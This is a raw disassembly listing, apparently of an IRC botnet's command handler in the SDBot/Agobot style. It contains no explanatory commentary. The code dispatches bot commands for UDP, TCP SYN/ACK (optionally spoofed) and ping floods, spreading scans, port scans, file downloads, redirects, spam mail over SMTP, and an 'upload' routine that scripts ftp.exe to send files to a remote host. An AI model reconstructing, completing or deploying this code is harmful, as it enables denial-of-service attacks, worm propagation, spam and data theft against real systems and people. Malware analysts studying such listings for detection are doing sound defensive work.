lea eax, [ebp+var_2EE4]
push [ebp+var_88]
push eax
call sub_41BDC0
push [ebp+arg_0]
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_2E60], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_2E5C], eax
lea eax, [ebp+var_2C0]
mov [ebp+var_3068], esi
push offset dword_42C2E4
push eax
call sub_41C056
add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 10h
push eax
call sub_40AF8D
add esp, 0Ch
mov [ebp+var_2E64], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3068]
push ebx
push eax
push offset sub_413C53
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_2E64]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_4068B3
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42C2A8
jmp loc_407FF0
; ---------------------------------------------------------------------------
loc_4068AB: ; CODE XREF: sub_401B66+4D53j
push 32h
call dword_428064 ; Sleep
loc_4068B3: ; CODE XREF: sub_401B66+4D32j
cmp [ebp+var_2E58], ebx
jz short loc_4068AB
jmp loc_407FFF
; ---------------------------------------------------------------------------
loc_4068C0: ; CODE XREF: sub_401B66+4C6Dj
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407D44
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407D44
push [ebp+arg_8]
push offset aDownload909 ; "download909"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407C0A
push [ebp+arg_8]
push offset aD1909 ; "d1909"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407C0A
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407B11
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407B11
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407A1F
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407A1F
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407942
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407942
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407828
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407828
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401F9E
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407723
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407723
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407250
push [ebp+arg_8]
push offset aAsc ; "asc"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407250
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407131
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407131
push [ebp+arg_8]
push offset aU ; "u"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407131
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407015
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_407015
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_406EEF
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_406EEF
push [ebp+arg_8]
push offset aP ; "p"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_406EEF
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_406D2B
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_406D2B
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_406CD3
push [ebp+arg_10]
lea eax, [ebp+var_47E8]
push eax
call sub_41C680
push edi
call sub_41BF49
push [ebp+arg_0]
mov [ebp+arg_10], eax
lea eax, [ebp+var_4184]
push eax
call sub_41C680
push [ebp+arg_18]
lea eax, [ebp+var_4584]
push eax
call sub_41C680
push offset asc_42E0C8 ; " "
push offset dword_42CBB4
push [ebp+esi+var_7C]
call sub_4185D4
push eax
lea eax, [ebp+var_4284]
push eax
call sub_41C680
add esp, 30h
lea eax, [ebp+var_5584]
push eax
push 101h
call dword_4CDBD4 ; WSAStartup
lea eax, [ebp+var_47E8]
push eax
call dword_4CDCE8 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_4CDCE4 ; socket
push [ebp+arg_10]
mov esi, eax
mov [ebp+var_318], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_314], eax
call dword_4CDC64 ; ntohs
mov [ebp+var_316], ax
lea eax, [ebp+var_4284]
push eax
lea eax, [ebp+var_4184]
push eax
lea eax, [ebp+var_4284]
push eax
lea eax, [ebp+var_4584]
push eax
lea eax, [ebp+var_4184]
push eax
lea eax, [ebp+var_5984]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41C056
add esp, 1Ch
lea eax, [ebp+var_318]
push 10h
push eax
push esi
call dword_4CDC0C ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_4084]
push edi
push eax
push esi
call dword_4CDC7C ; recv
lea eax, [ebp+var_4084]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_5984]
push eax
push esi
call dword_4CDCB4 ; send
push ebx
lea eax, [ebp+var_4084]
push edi
push eax
push esi
call dword_4CDC7C ; recv
push esi
call dword_4CDCFC ; closesocket
call dword_4CDBBC ; WSACleanup
lea eax, [ebp+var_4584]
push eax
push offset unk_42C164
loc_406C8C: ; CODE XREF: sub_401B66+2E3Aj
; sub_401B66+658Aj ...
lea eax, [ebp+var_2C0]
loc_406C92: ; CODE XREF: sub_401B66+688Fj
push eax
call sub_41C056
loc_406C98: ; CODE XREF: sub_401B66+23B8j
add esp, 0Ch
loc_406C9B: ; CODE XREF: sub_401B66+4453j
; sub_401B66+44ABj ...
cmp [ebp+var_8], ebx
jnz short loc_406CBC
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
loc_406CBC: ; CODE XREF: sub_401B66+2935j
; sub_401B66+294Aj ...
mov esi, [ebp+arg_24]
loc_406CBF: ; CODE XREF: sub_401B66+8B5j
; sub_401B66+77C1j ...
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
pop ecx
mov eax, esi
jmp loc_401FA1
; ---------------------------------------------------------------------------
loc_406CD3: ; CODE XREF: sub_401B66+4FD0j
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_406CFD
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_4072A0
loc_406CFD: ; CODE XREF: sub_401B66+517Ej
push [ebp+esi+var_7C]
push [ebp+arg_18]
push [ebp+arg_0]
push edi
call sub_41BF49
pop ecx
push eax
push [ebp+arg_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_410923
jmp loc_40976C
; ---------------------------------------------------------------------------
loc_406D2B: ; CODE XREF: sub_401B66+4FA2j
; sub_401B66+4FB9j
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1350]
push esi
push eax
call sub_41C150
lea eax, [ebp+var_1350]
push eax
push offset aSyn ; "syn"
call sub_41C840
add esp, 14h
test eax, eax
jz short loc_406D90
lea eax, [ebp+var_1350]
push eax
push offset aAck ; "ack"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_406D90
lea eax, [ebp+var_1350]
push eax
push offset aRandom_0 ; "random"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_406D90
push offset unk_42C11C
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_406D90: ; CODE XREF: sub_401B66+51F0j
; sub_401B66+5207j ...
push [ebp+arg_18]
call sub_41BF49
cmp eax, ebx
pop ecx
mov [ebp+var_1248], eax
jle loc_406EB2
push [ebp+arg_10]
lea eax, [ebp+var_1350]
push esi
push eax
call sub_41C150
push edi
lea eax, [ebp+var_13D0]
push esi
push eax
call sub_41C150
push [ebp+arg_0]
call sub_41BF49
mov [ebp+var_124C], eax
xor eax, eax
cmp [ebp+var_8EA], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1244], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13D4], eax
lea eax, [ebp+var_12D0]
push esi
push eax
call sub_41C150
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_1244], ebx
mov [ebp+var_1240], eax
mov eax, [ebp+var_8]
mov [ebp+var_123C], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406E27
mov eax, offset aNormal ; "Normal"
loc_406E27: ; CODE XREF: sub_401B66+52BAj
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push eax
push offset unk_42C0D8
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41C150
push ebx
lea eax, [ebp+var_2C0]
push 14h
push eax
call sub_40AF8D
add esp, 2Ch
mov [ebp+var_1250], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13D4]
push ebx
push eax
push offset sub_41444D
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_1250]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_406EA8
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42C0A0
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_406EA0: ; CODE XREF: sub_401B66+5348j
push 32h
call dword_428064 ; Sleep
loc_406EA8: ; CODE XREF: sub_401B66+5327j
cmp [ebp+var_1238], ebx
jz short loc_406EA0
jmp short loc_406EC5
; ---------------------------------------------------------------------------
loc_406EB2: ; CODE XREF: sub_401B66+523Bj
push offset unk_42C068
loc_406EB7: ; CODE XREF: sub_401B66+1F3Ej
; sub_401B66+1F54j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
pop ecx
pop ecx
loc_406EC5: ; CODE XREF: sub_401B66+206Fj
; sub_401B66+2571j ...
cmp [ebp+var_8], ebx
jnz loc_402418
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_406EE2: ; CODE XREF: sub_401B66+232Ej
call sub_409982
add esp, 14h
jmp loc_402418
; ---------------------------------------------------------------------------
loc_406EEF: ; CODE XREF: sub_401B66+4F5Dj
; sub_401B66+4F74j ...
cmp dword_4CDD50, ebx
jnz loc_406FFA
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_FF0], eax
mov eax, [ebp+var_4]
mov [ebp+var_FF4], eax
lea eax, [ebp+var_1088]
push eax
call sub_41BDC0
push edi
call sub_41BF49
push [ebp+arg_0]
mov [ebp+var_1008], eax
call sub_41BF49
push [ebp+arg_18]
mov [ebp+var_1004], eax
call sub_41BF49
push 7Fh
mov [ebp+var_1000], eax
push [ebp+var_88]
lea eax, [ebp+var_1108]
push eax
call sub_41BDC0
push [ebp+var_1000]
mov eax, [ebp+arg_4]
mov [ebp+var_110C], eax
lea eax, [ebp+var_1088]
push [ebp+var_1004]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_1008]
push offset unk_42C020
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 16h
push eax
call sub_40AF8D
add esp, 48h
mov [ebp+var_FF8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_110C]
push ebx
push eax
push offset sub_4138B0
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_FF8]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_406FED
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BFE4
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_406FE5: ; CODE XREF: sub_401B66+548Dj
push 32h
call dword_428064 ; Sleep
loc_406FED: ; CODE XREF: sub_401B66+546Cj
cmp [ebp+var_FEC], ebx
jz short loc_406FE5
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_406FFA: ; CODE XREF: sub_401B66+538Fj
push 1FFh
lea eax, [ebp+var_2C0]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41BDC0
jmp loc_405F6A
; ---------------------------------------------------------------------------
loc_407015: ; CODE XREF: sub_401B66+4F2Fj
; sub_401B66+4F46j
push edi
lea eax, [ebp+var_2C0]
push [ebp+arg_10]
push [ebp+arg_0]
push offset unk_42BF90
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
push [ebp+arg_0]
call sub_41B7B0
push edi
mov [ebp+arg_20], eax
call sub_41B7B0
mov ecx, [ebp+arg_20]
push [ebp+arg_10]
add ecx, eax
mov [ebp+arg_20], ecx
call sub_41B7B0
mov ecx, [ebp+arg_20]
push [ebp+arg_8]
add ecx, eax
mov [ebp+arg_20], ecx
call sub_41B7B0
add eax, [ebp+var_C]
mov ecx, [ebp+arg_20]
push [ebp+arg_18]
lea eax, [eax+ecx+7]
push eax
call sub_41C0D0
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41BF49
mov edi, [ebp+arg_1C]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_20], ebx
jle short loc_40711D
loc_4070A6: ; CODE XREF: sub_401B66+5564j
push [ebp+arg_C]
push edi
push [ebp+arg_10]
call sub_418D6C
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_1C], eax
jz short loc_4070CE
cmp eax, ebx
jnz short loc_4070ED
inc [ebp+arg_20]
mov eax, [ebp+arg_20]
cmp eax, [ebp+arg_14]
jl short loc_4070A6
jmp short loc_407126
; ---------------------------------------------------------------------------
loc_4070CE: ; CODE XREF: sub_401B66+5555j
push ebx
push [ebp+var_4]
push offset unk_42BF58
loc_4070D7: ; CODE XREF: sub_401B66+55C9j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
jmp loc_4072A0
; ---------------------------------------------------------------------------
loc_4070ED: ; CODE XREF: sub_401B66+5559j
push [ebp+arg_1C]
lea eax, [ebp+var_2C0]
push offset unk_42BF24
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 20h
loc_40711D: ; CODE XREF: sub_401B66+553Ej
cmp [ebp+arg_1C], ebx
jnz loc_4072A0
loc_407126: ; CODE XREF: sub_401B66+5566j
push ebx
push [ebp+var_4]
push offset unk_42BEF0
jmp short loc_4070D7
; ---------------------------------------------------------------------------
loc_407131: ; CODE XREF: sub_401B66+4EEAj
; sub_401B66+4F01j ...
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_C60], eax
mov eax, [ebp+var_4]
mov [ebp+var_C64], eax
lea eax, [ebp+var_CF8]
push eax
call sub_41BDC0
push edi
call sub_41BF49
push [ebp+arg_0]
mov [ebp+var_C78], eax
call sub_41BF49
push [ebp+arg_18]
mov [ebp+var_C74], eax
call sub_41BF49
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C70], eax
jz short loc_407196
push esi
call sub_41BF49
pop ecx
mov [ebp+var_C6C], eax
jmp short loc_40719C
; ---------------------------------------------------------------------------
loc_407196: ; CODE XREF: sub_401B66+561Fj
mov [ebp+var_C6C], ebx
loc_40719C: ; CODE XREF: sub_401B66+562Ej
push 7Fh
lea eax, [ebp+var_D78]
push [ebp+var_88]
push eax
call sub_41BDC0
push [ebp+var_C70]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_CF8]
mov [ebp+var_D7C], esi
push [ebp+var_C74]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_C78]
push offset unk_42BEA8
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 17h
push eax
call sub_40AF8D
add esp, 30h
mov [ebp+var_C68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D7C]
push ebx
push eax
push offset sub_413A3C
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_C68]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_407243
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BE70
jmp loc_407FF0
; ---------------------------------------------------------------------------
loc_40723B: ; CODE XREF: sub_401B66+56E3j
push 32h
call dword_428064 ; Sleep
loc_407243: ; CODE XREF: sub_401B66+56C2j
cmp [ebp+var_C5C], ebx
jz short loc_40723B
jmp loc_407FFF
; ---------------------------------------------------------------------------
loc_407250: ; CODE XREF: sub_401B66+4EBCj
; sub_401B66+4ED3j
push 0Bh
call sub_40B1CF
push edi
mov [ebp+arg_1C], eax
call sub_41BF49
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_407419
push [ebp+arg_1C]
lea eax, [ebp+var_2C0]
push offset unk_42BE30
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 20h
loc_4072A0: ; CODE XREF: sub_401B66+5191j
; sub_401B66+5582j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401F9E
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40976F
push 4
push esi
call sub_416E71
pop ecx
test eax, eax
pop ecx
jnz short loc_4072EB
push esi
push offset unk_42BE08
loc_4072D7: ; CODE XREF: sub_401B66+7A0Fj
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
add esp, 0Ch
jmp loc_403FC3
; ---------------------------------------------------------------------------
loc_4072EB: ; CODE XREF: sub_401B66+5769j
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
pop ecx
call sub_41C0B2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41C0B2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41C0B2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_51F4]
push edx
push eax
lea eax, [ebp+var_2BB0]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41C056
lea eax, [ebp+var_2BB0]
push offset aAb ; "ab"
push eax
call sub_41BC92
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401F9E
push esi
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41C5D6
push [ebp+arg_24]
call sub_41B82B
lea eax, [ebp+var_2BB0]
push eax
lea eax, [ebp+var_4CEC]
push offset aSS_3 ; "-s:%s"
push eax
call sub_41C056
add esp, 2Ch
lea eax, [ebp+var_4CEC]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CDBD0 ; ShellExecuteA
push [ebp+arg_10]
test eax, eax
push esi
jz short loc_4073B7
push offset unk_42BD98
jmp short loc_4073BC
; ---------------------------------------------------------------------------
loc_4073B7: ; CODE XREF: sub_401B66+5848j
push offset unk_42BD68
loc_4073BC: ; CODE XREF: sub_401B66+584Fj
call sub_41C056
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4073E5
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
loc_4073E5: ; CODE XREF: sub_401B66+5861j
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
jmp short loc_4073FF
; ---------------------------------------------------------------------------
loc_4073F3: ; CODE XREF: sub_401B66+58ACj
lea eax, [ebp+var_2BB0]
push eax
call sub_41C5AC
loc_4073FF: ; CODE XREF: sub_401B66+588Bj
lea eax, [ebp+var_2BB0]
push 4
push eax
call sub_416E71
add esp, 0Ch
test eax, eax
jnz short loc_4073F3
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_407419: ; CODE XREF: sub_401B66+5704j
push [ebp+arg_10]
call sub_41BF49
push edi
mov [ebp+var_36C], eax
call sub_41BF49
push [ebp+arg_0]
mov [ebp+var_354], eax
call sub_41BF49
add esp, 0Ch
cmp eax, 5
mov [ebp+var_368], eax
jnb short loc_407452
push 5
pop eax
mov [ebp+var_368], eax
loc_407452: ; CODE XREF: sub_401B66+58E1j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40745F
mov [ebp+var_368], ecx
loc_40745F: ; CODE XREF: sub_401B66+58F1j
push [ebp+arg_18]
call sub_41BF49
mov [ebp+var_364], eax
mov eax, 320h
cmp [ebp+var_364], eax
pop ecx
jbe short loc_407481
mov [ebp+var_364], eax
loc_407481: ; CODE XREF: sub_401B66+5913j
or [ebp+var_350], 0FFFFFFFFh
cmp dword_432A90, ebx
mov [ebp+arg_20], ebx
jz short loc_4074D0
mov edi, offset dword_432A90
loc_407498: ; CODE XREF: sub_401B66+594Cj
push [ebp+arg_10]
lea eax, [edi-28h]
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_4074B6
inc [ebp+arg_20]
add edi, 40h
cmp [edi], ebx
jnz short loc_407498
jmp short loc_4074D0
; ---------------------------------------------------------------------------
loc_4074B6: ; CODE XREF: sub_401B66+5942j
mov eax, [ebp+arg_20]
mov ecx, eax
mov [ebp+var_350], eax
shl ecx, 6
mov ecx, dword_432A90[ecx]
mov [ebp+var_36C], ecx
loc_4074D0: ; CODE XREF: sub_401B66+592Bj
; sub_401B66+594Ej
cmp [ebp+var_36C], ebx
jnz short loc_4074E2
push offset unk_42BD34
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_4074E2: ; CODE XREF: sub_401B66+5970j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_40751D
cmp byte ptr [edi], 23h
jz short loc_40751D
push edi
lea eax, [ebp+var_480]
push 10h
push eax
call sub_41C150
push 78h
push edi
call sub_41C780
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_340], eax
jmp loc_4075F7
; ---------------------------------------------------------------------------
loc_40751D: ; CODE XREF: sub_401B66+5985j
; sub_401B66+598Aj
cmp [ebp+var_8FB], bl
jnz short loc_40753F
cmp [ebp+var_8FA], bl
jnz short loc_40753F
cmp [ebp+var_8EA], bl
jnz short loc_40753F
push offset unk_42BD00
jmp loc_406EB7
; ---------------------------------------------------------------------------
loc_40753F: ; CODE XREF: sub_401B66+59BDj
; sub_401B66+59C5j ...
push 10h
lea eax, [ebp+var_2CC]
pop edi
push eax
lea eax, [ebp+var_304]
push eax
mov [ebp+var_2CC], edi
push [ebp+arg_4]
call dword_4CDC08 ; getsockname
mov al, [ebp+var_8FB]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_300], eax
push [ebp+var_300]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_480]
push eax
call sub_41BDC0
add esp, 0Ch
cmp [ebp+var_8EA], bl
jz short loc_4075F1
xor eax, eax
cmp [ebp+var_8FB], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_480]
push eax
call sub_41C610
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_4075E5
loc_4075C3: ; CODE XREF: sub_401B66+5A7Dj
cmp eax, ebx
jz short loc_4075E5
mov byte ptr [eax], 78h
lea eax, [ebp+var_480]
push 30h
push eax
call sub_41C610
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_4075C3
loc_4075E5: ; CODE XREF: sub_401B66+5A5Bj
; sub_401B66+5A5Fj
mov [ebp+var_340], 1
jmp short loc_4075F7
; ---------------------------------------------------------------------------
loc_4075F1: ; CODE XREF: sub_401B66+5A35j
mov [ebp+var_340], ebx
loc_4075F7: ; CODE XREF: sub_401B66+59B2j
; sub_401B66+5A89j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_370], eax
mov eax, [ebp+var_4]
mov [ebp+var_348], eax
mov eax, [ebp+var_8]
mov [ebp+var_344], eax
mov edi, 80h
lea eax, [ebp+var_470]
push edi
push eax
call sub_41C150
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_407648
loc_407635: ; CODE XREF: sub_401B66+5B05j
push esi
loc_407636: ; CODE XREF: sub_401B66+5AEFj
lea eax, [ebp+var_3F0]
push edi
push eax
call sub_41C150
add esp, 0Ch
jmp short loc_407673
; ---------------------------------------------------------------------------
loc_407648: ; CODE XREF: sub_401B66+5ACDj
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_407657
cmp byte ptr [eax], 23h
jnz short loc_407657
push eax
jmp short loc_407636
; ---------------------------------------------------------------------------
loc_407657: ; CODE XREF: sub_401B66+5AE7j
; sub_401B66+5AECj
mov esi, offset aGxxx_0 ; "#Gxxx"
push offset byte_43FE14
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_407635
mov [ebp+var_3F0], bl
loc_407673: ; CODE XREF: sub_401B66+5AE0j
cmp [ebp+var_340], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_407685
mov eax, offset aSequential ; "Sequential"
loc_407685: ; CODE XREF: sub_401B66+5B18j
push [ebp+var_354]
lea ecx, [ebp+var_480]
push [ebp+var_364]
push [ebp+var_368]
push [ebp+var_36C]
push ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_42BC98
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40AF8D
add esp, 2Ch
mov [ebp+var_360], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_480]
push ebx
push eax
push offset sub_40C1BE
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_360]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_407716
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BC60
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_40770E: ; CODE XREF: sub_401B66+5BB6j
push 32h
call dword_428064 ; Sleep
loc_407716: ; CODE XREF: sub_401B66+5B95j
cmp [ebp+var_33C], ebx
jz short loc_40770E
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_407723: ; CODE XREF: sub_401B66+4E8Ej
; sub_401B66+4EA5j
push [ebp+arg_10]
call sub_40AA04
push edi
mov [ebp+var_4DC], eax
call sub_41BF49
push [ebp+arg_0]
mov [ebp+var_4EC], eax
call sub_41BF49
push [ebp+arg_18]
mov [ebp+var_4E8], eax
call sub_41BF49
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E4], eax
lea eax, [ebp+var_56C]
mov [ebp+var_570], esi
push eax
call sub_41BDC0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D4], edi
push [ebp+var_4E8]
mov [ebp+var_4D0], eax
push [ebp+var_4EC]
push [ebp+var_4E4]
push [ebp+var_4DC]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_2C0]
push offset unk_42BC10
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40AF8D
add esp, 24h
mov [ebp+var_4E0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_570]
push ebx
push eax
push offset sub_40C5D3
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_4E0]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_40781B
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BBD0
jmp loc_403E6C
; ---------------------------------------------------------------------------
loc_407813: ; CODE XREF: sub_401B66+5CBBj
push 32h
call dword_428064 ; Sleep
loc_40781B: ; CODE XREF: sub_401B66+5C9Aj
cmp [ebp+var_4CC], ebx
jz short loc_407813
jmp loc_403E7B
; ---------------------------------------------------------------------------
loc_407828: ; CODE XREF: sub_401B66+4E51j
; sub_401B66+4E68j
push [ebp+arg_10]
call sub_41BF49
imul eax, 234h
pop ecx
